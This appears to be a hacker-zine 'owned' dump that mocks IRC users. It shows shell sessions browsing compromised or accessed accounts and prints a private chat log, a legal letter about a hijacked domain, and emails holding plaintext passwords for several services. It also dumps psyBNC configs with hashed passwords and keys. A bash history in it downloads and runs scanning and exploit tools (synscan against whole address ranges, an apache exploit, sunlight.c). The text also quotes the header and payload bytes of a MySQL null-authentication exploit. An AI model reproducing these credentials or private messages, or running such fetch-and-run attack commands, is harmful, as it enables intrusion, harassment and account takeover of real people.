drwxr-xr-x 3 cripy cripy 512 May 1 2003 openssh-3.6.1p2
drwxr-xr-x 3 cripy cripy 512 Sep 26 2003 openssh-3.7.1p2
drwxr-xr-x 3 cripy cripy 1024 Dec 3 18:29 public_html
-rw-r--r-- 1 cripy cripy 0 May 21 2004 sara.tgz
drwxr-xr-x 2 cripy cripy 512 Jul 27 16:02 ssh
-rw-r--r-- 1 cripy cripy 2283520 Jul 28 17:53 ssh.tgz
-rw-r--r-- 1 cripy cripy 30167 Jul 29 17:42 ssh.tgz.1
drwxr-xr-x 2 cripy cripy 512 Mar 28 2004 sshf
-rw-r--r-- 1 cripy cripy 23794 Mar 28 2004 sshf.tgz
-rw-r--r-- 1 cripy cripy 22 Jun 1 2004 turtl
drwxr-xr-x 2 cripy cripy 512 Sep 6 20:38 vsql_
-rw-r--r-- 1 cripy cripy 6 May 17 2004 ~.fakeid
mafia@peach $ ls -al /usr/home/cripy/ssh
total 4656
drwxr-xr-x 2 cripy cripy 512 Jul 27 16:02 .
drwxr-xr-x 14 cripy cripy 1536 Dec 7 10:02 ..
-rw-r--r-- 1 cripy cripy 231370 Jul 27 22:29 bios.txt
-rwxr-xr-x 1 cripy cripy 85 Jul 12 11:10 go.sh
-rwxr-xr-x 1 cripy cripy 453972 Jul 12 11:09 ss
-rwxr-xr-x 1 cripy cripy 1365263 Jul 12 11:10 sshf
-rw-r--r-- 1 cripy cripy 215999 Jul 28 16:29 uniq.txt
-rw-r--r-- 1 cripy cripy 1609 Jul 28 16:36 vuln.txt
mafia@peach $ ls -al /usr/home/cripy/vsql_
total 88
drwxr-xr-x 2 cripy cripy 512 Sep 6 20:38 .
drwxr-xr-x 14 cripy cripy 1536 Dec 7 10:02 ..
-rw-r--r-- 1 cripy cripy 237 Aug 25 14:06 Makefile
-rw-r--r-- 1 cripy cripy 351 Aug 27 03:18 README
-rw-r--r-- 1 cripy cripy 503 Aug 27 03:06 test.c
-rwxr-xr-x 1 cripy cripy 7806 Sep 6 20:37 vsql
-rw-r--r-- 1 cripy cripy 4591 Aug 27 03:23 vsql.c
-rw-r--r-- 1 cripy cripy 244 Aug 27 02:35 vsql.h
-rw-r--r-- 1 cripy cripy 17064 Sep 6 20:37 vsql.o
mafia@peach $ head /usr/home/cripy/vsql_/vsql.c
/*
** vSQL - NULL Authentication exploit for MySQL
**
** -v0id
**
** The following payload is the exploitation payload taken from snort
**
** 3A 00 00 01 85 A6 03 00 00 00 00 01 08 00 00 00 :...............
** 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
** 00 00 00 00 72 6F 6F 74 00 14 00 00 00 00 00 00 ....root........
mafia@peach $ ls -al /usr/home/cripy/public_html
total 13700
drwxr-xr-x 3 cripy cripy 1024 Dec 3 18:29 .
drwxr-xr-x 14 cripy cripy 1536 Dec 7 10:02 ..
-rw-r--r-- 1 cripy cripy 790772 Jun 13 2004 000_0160.JPG
-rw-r--r-- 1 cripy cripy 67014 Apr 29 2004 137385.jpg
-rw-r--r-- 1 cripy cripy 75662 May 21 2004 DEA
-rw-r--r-- 1 cripy cripy 1043548 Dec 3 18:26 PRINCE_OF_PERSIA1.PNG
-rw-r--r-- 1 cripy cripy 11443 Mar 27 2004 b
-rw-r--r-- 1 cripy cripy 87 Jul 12 08:00 blah.html
-rw-r--r-- 1 cripy cripy 23 Jul 3 2004 blah.php
-rw-r--r-- 1 cripy cripy 23 Jul 3 2004 blah.txt
-rw-r--r-- 1 cripy cripy 66712 Apr 28 2004 blak.jpg
-rw-r--r-- 1 cripy cripy 67100 Apr 28 2004 blakangel.jpg
-rw-r--r-- 1 cripy cripy 122654 Sep 8 16:44 bush.jpg
-rw-r--r-- 1 cripy cripy 68296 Apr 28 2004 c.jpg
-rw-r--r-- 1 cripy cripy 956 Oct 6 06:38 cc
-rw-r--r-- 1 cripy cripy 66378 Apr 28 2004 cripy.jpg
-rw-r--r-- 1 cripy cripy 66473 Apr 28 2004 daz.jpg
-rw-r--r-- 1 cripy cripy 268 Jun 12 2004 functions.js
-rw-r--r-- 1 cripy cripy 2377 Mar 30 2004 half
-rw-r--r-- 1 cripy cripy 453 Mar 7 2004 index.html
-rw-r--r-- 1 cripy cripy 66655 Apr 28 2004 infrared.jpg
-rw-r--r-- 1 cripy cripy 7425 Sep 17 00:21 jpegcompoc.zip
-rw-r--r-- 1 cripy cripy 4317641 Jul 20 15:58 kimbo.wmv
-rw-r--r-- 1 cripy cripy 11067 Apr 10 2004 noww2.jpg
-rw-r--r-- 1 cripy cripy 1937 Aug 26 17:49 pub.gpg
-rw-r--r-- 1 cripy cripy 2284 Mar 30 2004 rest
-rw-r--r-- 1 cripy cripy 2673 Apr 28 2004 sandy
drwxr-xr-x 3 cripy cripy 512 Jun 12 2004 sedo
-rw-r--r-- 1 cripy cripy 11760 May 18 2004 sini
-rw-r--r-- 1 cripy cripy 3242 Jun 23 2004 steve.txt
-rw-r--r-- 1 cripy cripy 10824 Mar 27 2004 sysadmins
-rw-r--r-- 1 cripy cripy 10643 Apr 10 2004 tanktop.jpg
-rw-r--r-- 1 cripy cripy 6629 Jun 12 2004 web.css
mafia@peach $ cat steve.txt
Mr. Dole:
My firm garners information anonymously so that it
will be admissable in court at a later time, without
prejudice. This is a common practice for plaintiffs
with internet law cases and whose potential defendants
are not located within the U.S.
The domain "cracker.com" is rightfully owned by the
original registrar who is domiciled in California,
U.S.
The fact that "cracker.com" was recently (June 16)
"hijacked" after several years of continuous and paid
registration elsewhere is proof of this. Network
Solutions, the previous registrar of "cracker.com" has
offered to submit an affidavit attesting to the
time-record of such ownership, and the date, time, and
IP path to the source of the admin-c DNS change
request.
My firm also has notarized evidence of use of this
domain and trademark by my client for a period of
years, and my client's internet service provider
further will provide evidentiary notice upon request,
and technical documentation showing the internet path
routing of traffic for "cracker.com" for a lengthy
period. They are subject to subpoena.
In California, where the owner-of-record of this
trademarked domain name resides, such domain name is
considered to be property. See:
http://www.law.washington.edu/courses/neilson/B550A_2003/Documents/Kremen%20v%20Cohen.htm
for the legal precedence for this case, and your local
law library or attorney for typical processes used to
garner evidence of the involvement of the parties
participating in the theft.
Position of Comity Statement: You are hereby advised
that these e-mails constitute an attempt to resolve
this matter in a comitous fashion.
Your response to them is evidence that your intent is
to do so, by precedent, and you are so advised to
maintain similar dialogue which the court considers to
be "good faith" action.
Only you can decide if you wish to declare how you
came to obtain the Network Solutions username and
password which facilitated the DNS remapping on or
about 16 June 2004, and rectify the problem before it
escalates to formal legal action.
If it is your wish to try and benefit commercially by
selling this domain name, as you have done by
registering it for sale at an on-line brokerage, these
anonymous communications will be remanded to the
appropriate court of jurisprudence as testimonial
evidence.
I have apprised the "Sedo.de" brokerage of your
actions as well, and anticipate that they will enforce
the terms of agreement within German property law, as
you have agreed to abide by them.
While attorney-client rules prohibit me from offering
counsel to parties other than plaintiff, I can advise
potential defendants of common and typical legal costs
they will incur if found guilty of trademark theft.
Costs in Germany and the U.S. will fall somewhere
between USD$2,500 / 2250 Euro, and can often reach
three times that for protracted cases.
I urge you to resolve this matter as previously
requested, or to have your legal counsel contact me at
this address. After confirming you have an
attorney-client relationship and counsel's domain of
jurisprudence, I will then be able to reveal to him or
her the name of our firm and the nature of the legal
charges to be levied.
S. Jackson
Att'y.
* * *
mafia@peach $ cat chat
cripy: this motherfucker
cripy: booger
cripy: is going to have me
cripy: start hacking again
cripy: i swear to god
d0v33: hehe
d0v33: he has an 0day hookup?
cripy: no
cripy: he jacked
cripy: #infrared
cripy: he took it over
cripy: i swear
cripy: this kid doesnt know
d0v33: he did? you sure?
cripy: who hes fucking with
cripy: yes im fucking sure
cripy: because he originally 'cracked' hackers.com
cripy: but i transferred it etc.
d0v33: what'd he say? like why'd he say he did it?
cripy: and hes mad cuz i wont let him irc from @hackers.com
cripy: i told him ill give him a host
cripy: like i swear to god
cripy: let me get some 0day right now and i bet you booger never comes on irc again
d0v33: why won't you let him irc from hackers.com
d0v33: ?
cripy: because jen
cripy: i worked hard
cripy: to become 'known' on irc
cripy: i deserve hackers.com
cripy: i have a real problem with just "ANY" kid looking leet
d0v33: uh
cripy: i swear
cripy: it sounds stupid
cripy: but for real
d0v33: he was the one that taught you how to get domains
d0v33: that's kinda messed cripy.
cripy: heh no
cripy: he just gave me the exploit
cripy: so what
cripy: Jen i told him that if pharmacy.com makes money i was going to give him a thousand dollars
d0v33: so now you are trying to stay known with the exploit he gave you... and you are saying that he doesnt deserve it?
d0v33: now you have just assured yourself of never getting another exploit from him
d0v33: and he seems to be a good source
d0v33: and he's generally nice
d0v33: over not letting him irc from hackers.com?
come on.
cripy: heh
cripy: the domain has nothin to do with it
cripy: its the point
d0v33: i dont see any point
d0v33: i see you being mean to a guy who was cool to you
d0v33: heh
cripy: yes
d0v33: ah well.
cripy: i admit what i did was wrong
d0v33: dont admit it to me
cripy: but now theres no going back
cripy: :)
d0v33: yes... there is.
cripy: no
cripy: he tried me
cripy: i dont give a fuck
cripy: what i did to you
cripy: you take my channel
cripy: and its war
d0v33: you have to have an army to have a war
cripy: :)
d0v33: you gave that shit up
d0v33: didn't you?
cripy: yes
cripy: but
cripy: hes #1 target on my list
d0v33: don't bring it to my channel
cripy: im not jen
d0v33: k
cripy: if i was like othe rkids
cripy: he would have been
cripy: banned
cripy: already
cripy: i solve my problems with packets
d0v33: honestly.... you know, it really is really hard to just be like.... hey brian, I think I got pissed off at the time and
I have cooled down now and thought about it. Thanks for giving me the exploit, you can irc from hackers.com...
d0v33: he really isn't a bad guy
d0v33: i dunno dude...
cripy: i know he is
cripy: i told him i would give him a host
cripy: jen originally he wanted
cripy: a host for his box
cripy: and then right when he sees
cripy: me irc from
cripy: hackers.com
cripy: he wants an account right now
cripy: and i HATE shell whores
cripy: and he whores shells from everyone
cripy: hes nice yes
d0v33: very
cripy: but he doesnt deserve hackers.com
cripy: heh
d0v33: and doesnt forget his friends
d0v33: heh... you wouldnt even have this ability without him
d0v33: that's why i think this is so wrong.
d0v33: he didn't have to tell you how to do it
cripy: heh
d0v33: but you were his friend...
d0v33: ah well...
d0v33: none of my business...
d0v33: just dont bring it to sysadmins
d0v33: ;)
cripy: heh
cr1pyz gu1d3 t0 b31ng 3l1t3:
1. tr1ck b00g3r 1nt0 g1v1ng 0day
2. us3 0day t0 g3t hackers.com
3. IRC from hackers.com... alot
4. m4k3 fun 0f 3v3ryb0dy. m4k3 fun 0f b00g3r.
5. suck phc c0ck. m4yb3 m0rg4n w1ll t34ch h1m h0w t0 c0de.
th1s must w0rk, c4use l00k @ h1s 3lit3 infrared gr0up. ph33r3d fr0m
3th330p14 to m0z4mb1qu3 4nd 3v3rywh3r3 1nb3tw33n.
16.txt-~-~-~ doni038 has a bad day
This is bx's butthugger. Another albanian takes our oh so spechial packets.
Welcome to 0x1FE!
You or someone else has used your email account
(doni038@hackermail.com) to register an account at 0x1FE.
To finish the registration process you should visit the following
link in the next 24 hours to activate your user account, otherwise
the information will be automaticaly deleted by the system and you
should apply again:
http://www.0x1fe.org/modules.php?name=Your_Account&op=activate&username=DoNi038&check_num=e15db443b55e2908c460ea4d9da22112
Following is the member information:
-Nickname: DoNi038
-Password: 3791059
To: doni038@hackermail.com
Cc:
Subject: SexSearch Member Sent Email
Date: Sat, 8 Jan 2005 07:31:00 -0500 (EST)
Return-Path: <19050108-60da62ddc1a4f71eb521401b5f919061-1@track.sexsearch.com>
Delivered-To: doni038@hackermail.com
Received: (qmail 23003 invoked by uid 0); 8 Jan 2005 12:31:03 -0000
X-Ob-Received: from unknown (192.168.9.181)by mta45-2.us4.outblaze.com; 8 Jan 2005 12:31:03 -0000
Received: from mailer2.sexsearch.com (mailer2.sexsearch.com [209.47.169.66])by spf-jail2.us4.outblaze.com (Postfix) with ESMTP id 5236C27AB8for <doni038@hackermail.com>; Sat, 8 Jan 2005 12:31:01 +0000 (GMT)
Received: from localhost (armorattack.sexsearch.com [192.168.10.46])by mailer2.sexsearch.com (8.12.9/8.12.9) with ESMTP id j08CV0aT034552for <doni038@hackermail.com>; Sat, 8 Jan 2005 07:31:00 -0500 (EST)(envelope-from 19050108-60da62ddc1a4f71eb521401b5f919061-1@track.sexsearch.com)
Message-Id: <200501081231.j08CV0aT034552@mailer2.sexsearch.com>
Content-Type: multipart/alternative;boundary="=_891d3b39bb56fc54ed7d6dfe8a520baa"
Mime-Version: 1.0
REPLY | REPLY ALL | FORWARD [As Attachment] Previous | Next | Delete | Done
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
HELLO doni038
KYkink
has sent you an email on: January 8, 2005.
Click here to view your SexSearch email messages
SexSearch ID: doni038
Password: 448398
Go to SexSearch Now
To view/adjust your mail settings click here
If you have any questions or comments regarding your membership, please contact us at:
support@sexsearch.com
From: vianez <vianez@gmail.com> [Save Address] [Block Sender]
To: "Alba Hacker" <doni038@hackermail.com>
Cc:
Subject: Re: here is the bin list :)
Date: Thu, 7 Oct 2004 19:04:15 +0200
Return-Path: <vianez@gmail.com>
Delivered-To: doni038@hackermail.com
Received: (qmail 25749 invoked by uid 0); 7 Oct 2004 17:04:18 -0000
X-Ob-Received: from unknown (192.168.9.181)by mta45-1.us4.outblaze.com; 7 Oct 2004 17:04:18 -0000
Received: from mproxy.gmail.com (rproxy.gmail.com [64.233.170.193])by spf-jail2.us4.outblaze.com (Postfix) with ESMTP id 97B7827A18for <doni038@hackermail.com>; Thu, 7 Oct 2004 16:56:10 +0000 (GMT)
Received: by mproxy.gmail.com with SMTP id 74so560334rnkfor <doni038@hackermail.com>; Thu, 07 Oct 2004 10:04:17 -0700 (PDT)
Received: by 10.38.152.63 with SMTP id z63mr1836646rnd;Thu, 07 Oct 2004 10:04:16 -0700 (PDT)
Received: by 10.39.1.10 with HTTP; Thu, 7 Oct 2004 10:04:15 -0700 (PDT)
Message-Id: <9cdb268604100710047119d80b@mail.gmail.com>
Reply-To: vianez <vianez@gmail.com>
In-Reply-To: <20041007165345.2BBC57A8C8A@ws4-4.us4.outblaze.com>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_Part_136_29852311.1097168655603"
References: <20041007165345.2BBC57A8C8A@ws4-4.us4.outblaze.com>
REPLY | REPLY ALL | FORWARD [As Attachment] Previous | Next | Delete | Done
--------------------------------------------------------------------------------
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
ssdd.pl ikonboard exploit
--------------------------------------------------------------------------------
Content-Type: application/octet-stream; name=ssdd.pl
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=ssdd.pl
ssdd.pl
From: albogenius@yahoo.com [Save Address] [Block Sender]
To: doni038@hackermail.com
Cc:
Subject: Welcome to Ultimate Albanian Security Web Forums
Date: Wed, 8 Sep 2004 19:06:01 -0400
Return-Path: <albogenius@yahoo.com>
Delivered-To: doni038@hackermail.com
Received: (qmail 17861 invoked by uid 0); 8 Sep 2004 23:06:16 -0000
X-Ob-Received: from unknown (192.168.9.177)by mta45-1.us4.outblaze.com; 8 Sep 2004 23:06:16 -0000
Received: from q0.netfirms.com (q0.netfirms.com [204.92.123.98])by spf-jail1.us4.outblaze.com (Postfix) with SMTP id 483F933Bfor <doni038@hackermail.com>; Wed, 8 Sep 2004 23:03:08 +0000 (GMT)
Received: (qmail 23964 invoked from network); 8 Sep 2004 23:06:00 -0000
Received: from unknown (10.8.9.0)by 0 with QMQP; 8 Sep 2004 23:06:00 -0000
Received: from m6.netfirms.com (209.171.43.54)by 0 with SMTP; 8 Sep 2004 23:06:00 -0000
Received: (qmail 52165 invoked from network); 8 Sep 2004 23:06:01 -0000
Received: from unknown (192.168.60.3)by m6.netfirms.com with QMQP; 8 Sep 2004 23:06:01 -0000
X-Ip: 151.205.196.132
X-Uri: /profile.php
X-Id: 2244009
Reply-To: albogenius@yahoo.com
Message-Id: <96dc2ba906c3e38ce3855d75ff584456@nobordercenter.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-Msmail-Priority: Normal
X-Mailer: PHP
X-Mimeole: Produced By phpBB2
REPLY | REPLY ALL | FORWARD [As Attachment] Previous | Next | Delete | Done
Welcome to Ultimate Albanian Security Web Forums
Please keep this email for your records. Your account information is
as follows:
----------------------------
Username: DoNi038
Password: 3791059
----------------------------
Please do not forget your password as it has been encrypted in our
database and we cannot retrieve it for you. However, should you
forget your password you can request a new one which will be
activated in the same way as this account.
Thank you for registering.
--
Faliminderit per regjistrimin..
Dhe arsimim te këndëshëm
From: cplug-request@lists.openthought.org [Save Address] [Block Sender]
To: doni038@hackermail.com
Cc:
Subject: Welcome to the "CPLUG" mailing list
Date: Sun, 15 Aug 2004 23:34:02 -0400
Return-Path: <cplug-bounces@lists.openthought.org>
Delivered-To: doni038@hackermail.com
Received: (qmail 17588 invoked by uid 0); 16 Aug 2004 03:34:36 -0000
X-Ob-Received: from unknown (192.168.9.177)by mta45-1.us4.outblaze.com; 16 Aug 2004 03:34:36 -0000
Received: from lists.openthought.org (furrfu.openthought.org [209.50.133.10])by spf-jail1.us4.outblaze.com (Postfix) with ESMTP id A9C28D6for <doni038@hackermail.com>; Mon, 16 Aug 2004 03:28:35 +0000 (GMT)
Received: from furrfu.openthought.org (localhost.localdomain [127.0.0.1])by lists.openthought.org (Postfix) with ESMTP id EF9B6BBDEEfor <doni038@hackermail.com>; Sun, 15 Aug 2004 23:34:02 -0400 (EDT)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-No-Archive: yes
Message-Id: <mailman.0.1092627242.22155.cplug@lists.openthought.org>
Precedence: bulk
X-Beenthere: cplug@lists.openthought.org
X-Mailman-Version: 2.1.5
List-Id: Central PA Linux User's Group <cplug.lists.openthought.org>
X-List-Administrivia: yes
Sender: cplug-bounces@lists.openthought.org
Errors-To: cplug-bounces@lists.openthought.org
REPLY | REPLY ALL | FORWARD [As Attachment] Previous | Next | Delete | Done
Welcome to the CPLUG@lists.openthought.org mailing list!
To post to this list, send your email to:
cplug@lists.openthought.org
General information about the mailing list is at:
https://lists.openthought.org/mailman/listinfo/cplug
If you ever want to unsubscribe or change your options (eg, switch to
or from digest mode, change your password, etc.), visit your
subscription page at:
https://lists.openthought.org/mailman/options/cplug/doni038%40hackermail.com
You can also make such adjustments via email by sending a message to:
CPLUG-request@lists.openthought.org
with the word `help' in the subject or body (don't include the
quotes), and you will get back a message with instructions.
You must know your password to change your options (including changing
the password, itself) or to unsubscribe. It is:
3791059
There is a button on your options page that will email your current
password to you.
Please note that lists.openthought.org uses SSL to secure the mailing
list web pages. We use a self-signed SSL certificate to do this,
which will produce a warning in most browsers. You can eliminate any
warnings by adding our SSL certificate to your browser. You can find
our certificate and information on adding it to various browsers at:
http://lists.openthought.org/ssl/
enough email shit. let's check his elite bounces. All of bx's friends are irc whores.
Combined their skill could equal that of a voice in darknet.
hehoo@nobox:~$ ssh matrix.sh3lls.net -ldoni038
doni038@matrix.sh3lls.net's password:
Last login: Tue Jan 11 16:02:13 2005 from pool-141-151-20
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
The Regents of the University of California. All rights reserved.
FreeBSD 4.10-STABLE (SH3LLS2) #0: Sun Oct 31 07:24:56 EST 2004
Welcome to the Sh3lls.net Server "matrix.sh3lls.net"
vhost: to see the vhost list
getpsy: to install psybnc
getbnc: to install bnc
getegg: to install eggdrop
Support: http://support.sh3lls.net/
Billing: http://billing.sh3lls.net/
Use ports between 10000 - 20000, all the bnc, psybnc or bots using ports below 10000 will be killed.
1 IRC Connection = 1 Background Process
1 PSYBNC User = 1 Background Process
IRCNet:
irc1.us.ircnet.net
us.ircnet.org
Webmail: http://matrix.sh3lls.net/webmail/
Allowed irc connection: [ 2 ]
Active irc connections: [ 2 ]
doni038@matrix:~$ w
8:24AM up 87 days, 19:27, 7 users, load averages: 0.09, 0.48, 0.45
USER TTY FROM LOGIN@ IDLE WHAT
admin v0 - 01Jan03 757days -
admin v1 - 01Jan03 757days -
funtoosh p0 69.50.178.254 13Jan05 13days -
psycho p1 static18-243.dsl 6:56AM 1:27 -
n0ne p4 80-229-132-66.pl Wed05PM 13:20 -
psycho pb static18-243.dsl 7:02AM 1:22 -
doni038 pc 66-205-242-107.g 8:24AM - w
doni038@matrix:~$
doni038@matrix:~$ ls -al
total 140
drwx--x--x 5 doni038 doni038 512 Jan 11 16:13 .
drwxr-xr-x 95 root wheel 2048 Jan 24 21:19 ..
-rw------- 1 doni038 doni038 2360 Jan 11 16:15 .bash_history
-rw-r--r-- 1 doni038 doni038 771 Dec 1 15:00 .cshrc
-rw-r--r-- 1 doni038 doni038 255 Dec 1 15:00 .login
-rw-r--r-- 1 doni038 doni038 165 Dec 1 15:00 .login_conf
-rw------- 1 doni038 doni038 20130 Dec 1 15:00 .lsof_matrix
-rw------- 1 doni038 doni038 371 Dec 1 15:00 .mail_aliases
-rw-r--r-- 1 doni038 doni038 36 Dec 3 15:11 .mailboxlist
-rw-r--r-- 1 doni038 doni038 331 Dec 1 15:00 .mailrc
-rw-r--r-- 1 doni038 doni038 801 Dec 1 15:00 .profile
-rw------- 1 doni038 doni038 276 Dec 1 15:00 .rhosts
-rw-r--r-- 1 doni038 doni038 852 Dec 1 15:00 .shrc
-rwx------ 1 doni038 doni038 505 Dec 3 15:11 INBOX.Drafts
-rwx------ 1 doni038 doni038 505 Dec 3 15:11 INBOX.Sent
-rwx------ 1 doni038 doni038 505 Dec 3 15:11 INBOX.Trash
drwx------ 11 doni038 doni038 512 Jan 25 03:04 psybnc
-rwx------ 1 doni038 doni038 8995 Jan 8 22:52 sunlight.c
-rwx------ 1 doni038 doni038 72138 Jan 8 22:54 synscan.tgz
drwx------ 2 doni038 doni038 512 Dec 1 15:00 tmp
drwxr-xr-x 3 doni038 doni038 512 Dec 9 14:13 www
doni038@matrix:~$ cat .bash_history
cd psybnc
./psybnc
cd psybnc
ls -al
./psybnc
cd
exit
ls -al
rm -rf psyBNC2.3.1.tar.gz
rm -rf psybnc
get psy
getpsy
pico psybnc.conf
ls -al
cd psybnc
./psybnc
make menuconfig
make
./psybnc
cd
vhosts
vhost
exit
ls
exit
start
start jobs
jobs
kill vhost
exit
logout
cd psybnc
./psybnc
exit
uname -a
exit
ls -al
wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz
tar zxvf psyBNC2.3.1.tar.gz
ls -al
cd www
ls -al
wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz
tar zxvf psyBNC2.3.1.tar.gz
ls -al
cd psybnc
make menuconfig
make
./psybnc
cd
ls -al
rm -rf psyBNC2.3.1.tar.gz
cd www
ls -al
rm -rf psyBNC2.3.1.tar.gz
mv psybnc
mv -n bnc
mv psybnc bnc
ls -al
exit
cd www
ls -al
rm -rf bnc
ls -al
su
cd
stats
stat
exit
ls -al
ls -a
ps -x
wget http://hostingprod.com/@eranet-clan.org/emech-2.8.5.tar.gz
tar -zxvf emech-2.8.5.tar.gz
cd emech-2.8.5
./configure
make
make install
wget http://hostingprod.com/@eranet-clan.org/mech.set
pico mech.set
./mech
./genuser Kosova.users
./mech
ps -x
ls -al
cd emech-2.8.5
ls -al
./mech
cd
exit
ps -x
cat /etc/hosts
ls -al,
ls -al
cd www
ls -al
cd
cd tmp
ls -al
cd
rm -rf emech-2.8.5.tar.gz
rm -rf emech-2.8.5
cd www
ls -al
wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz
tar zxvf psyBNC2.3.1.tar.gz
cd psybnc
make menuconfig
make
./psybnc
cd
cd www
ls -al
mv psybnc chati
ls -al
cd
ls -al
id
start
lls
ls
id
w
who
w
who
whoami
whois
ls
ps -x
cat /etc/hosts
kill -9 52154
kill -9 67327
ps -x
ls
cd /home
ls
cd mx
cd
ls
wget http://www.energymech.net/files/emech-2.8.5.1.tar.gz
tar -zxvf emech-2.8.5.1.tar.gz
cd emech-2.8.5.1
./configure
make
make install
pico mech.set
./genuser RReb3li.users
./mech
php
ps -x
ls
wget www.memberx.net/open
chmod 777 open
./open
wget www.memberx.net/synscan.tgz
tar -zxvf synscan.tgz
cd synscan
nohup ./synscan 212 .ssh eth0 10 22 2>&1>/dev/null &
nohup ./synscan 212 .ssh eth0 10 22 2>&1>/dev/null &
cd
rm -RF synscan
rm -Rf synscan
ls
rm -Rf open
ls
ps -x
wget http://www.memberx.net/apache.tgz
tar -zxvf apache.tgz
cd apache
./x
./x 212 28
./x 217 20
cd
ls
rm -Rf apa*
ls
w
uname -a
id
:P
sat
say]
say
histoty
history
wget http://www.memberx.net/sunlight.c
gcc -0 s sunlight.c
ls -al
cd /tmp
cd
cd www
ls -al
./chati
cd chati
./psybnc
ls -al
./psybnc
./make menuconfig
make menuconfig
make
./psybnc
cd
ls -al
rm -rf emech-2.8.5.1
rn -rf emech-2.8.5.1.tar.gz
rm -rf emech-2.8.5.1.tar.gz
doni038@matrix:~$ cd www
doni038@matrix:~/www$ ls -al
total 342
drwxr-xr-x 3 doni038 doni038 512 Dec 9 14:13 .
drwx--x--x 5 doni038 doni038 512 Jan 11 16:13 ..
drwxr-xr-x 11 doni038 doni038 512 Jan 24 16:40 chati
-rw-r--r-- 1 doni038 doni038 312224 Jun 24 2004 psyBNC2.3.1.tar.gz
doni038@matrix:~/www$ cd chati
doni038@matrix:~/www/chati$ cat psybnc.conf
PSYBNC.SYSTEM.PORT1=31337
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=doni038
USER1.USER.USER=hax
USER1.USER.PASS==`Z`e'h`f1F061I1Q0K
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=DoNi038.is.gunna.attack.org.uk
USER1.USER.AWAYNICK=DoNi038-
USER1.USER.AWAY=Sjom Ktu ....
USER1.USER.NICK=DoNi038-
USER1.SERVERS.SERVER1=uk.ircnet.org
USER1.SERVERS.PORT2=6667
USER1.SERVERS.SERVER2=us.ircnet.org
USER1.SERVERS.PORT1=6667
USER1.CHANNELS.ENTRY1=#shkupi
USER1.CHANNELS.KEY1=+1P1`1@0=2a27
USER1.CHANNELS.ENTRY0=#kosova
USER1.CHANNELS.KEY0=+1P1`1@0=2a27
USER1.CHANNELS.ENTRY4=#albachat
USER1.CHANNELS.ENTRY2=#albahack
USER1.CHANNELS.ENTRY3=#prishtina
USER1.CHANNELS.KEY2=+1i0=1X0Z2724
USER1.CHANNELS.KEY3=+1i0=1X0Z2724
USER1.CHANNELS.ENTRY5=#kosovo
USER1.CHANNELS.KEY4=+1i0=1X0Z2724
USER1.AOP.ENTRY1=*!*doni038@*.kirenet.com;+0K1Q1V1$292z2f
USER1.AOP.ENTRY2=*!*doni038@*.kirenet.com;+0K1V1Z1S2d2k2y2F2L2Q
USER1.AOP.ENTRY3=*!*doni038@*.kirenet.com;+0K1G1R1I1X2e282q2z
USER1.AOP.ENTRY4=*!*doni038@*.kirenet.com;+0K1G1R1I1X292e2o2I
USER1.AOP.ENTRY5=*!*doni038@*.kirenet.com;+0K1Y1P1T2e2r2m
USER1.AOP.ENTRY0=*!*doni038@*.kirenet.net;+0K1Q1V1$292z2f
USER1.ASK.ENTRY1=*!*doni038@echo.kirenet.com;+1I1$1=1Z1k1z1A
USER1.ASK.ENTRY0=*!*doni038@*;+1I1$1=1Z1k1z1A
USER1.OP.ENTRY0=*!*doni038@echo.kirenet.com;+1I1$1=1Z1k1z1A
doni038@matrix:~/www/chati$ cd ..
doni038@matrix:~/www$ cd ..
doni038@matrix:~$ cd psybnc
doni038@matrix:~/psybnc$ cat psybnc.conf
PSYBNC.HOSTALLOWS.ENTRY0=*;*
PSYBNC.SYSTEM.HOST1=*
PSYBNC.SYSTEM.PORT1=31001
USER1.USER.LOGIN=doni038
USER1.USER.USER=www.KoSoVa.Us
USER1.USER.PASS==1h`b`P'x0e0f`O`=`s
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=DoNi038.is.gunna.attack.org.uk
USER1.USER.AWAYNICK=DoNi038-
USER1.USER.AWAY=G O N E . . .
USER1.USER.NICK=DoNi038
USER1.SERVERS.SERVER1=irc.efnet.org
USER1.SERVERS.PORT1=6667
USER1.CHANNELS.ENTRY1=#albahack
USER1.CHANNELS.ENTRY2=#Prishtina
USER1.CHANNELS.ENTRY3=#Kosova
USER1.CHANNELS.ENTRY4=#EraNet
USER1.CHANNELS.ENTRY5=#Net-v2-ork
USER1.CHANNELS.ENTRY7=#yugoslavia
USER1.CHANNELS.KEY7=+1m152c1a241&
USER1.CHANNELS.ENTRY8=#Torino
USER1.CHANNELS.ENTRY9=#shellzone
USER1.CHANNELS.ENTRY10=#rofl
USER1.CHANNELS.ENTRY6=#kosovo
USER1.CHANNELS.ENTRY0=#AlbaChat
USER1.AOP.ENTRY0= *!*doni038@echo.kirenet.com;+0O21242'222f2H2L2Y2Q
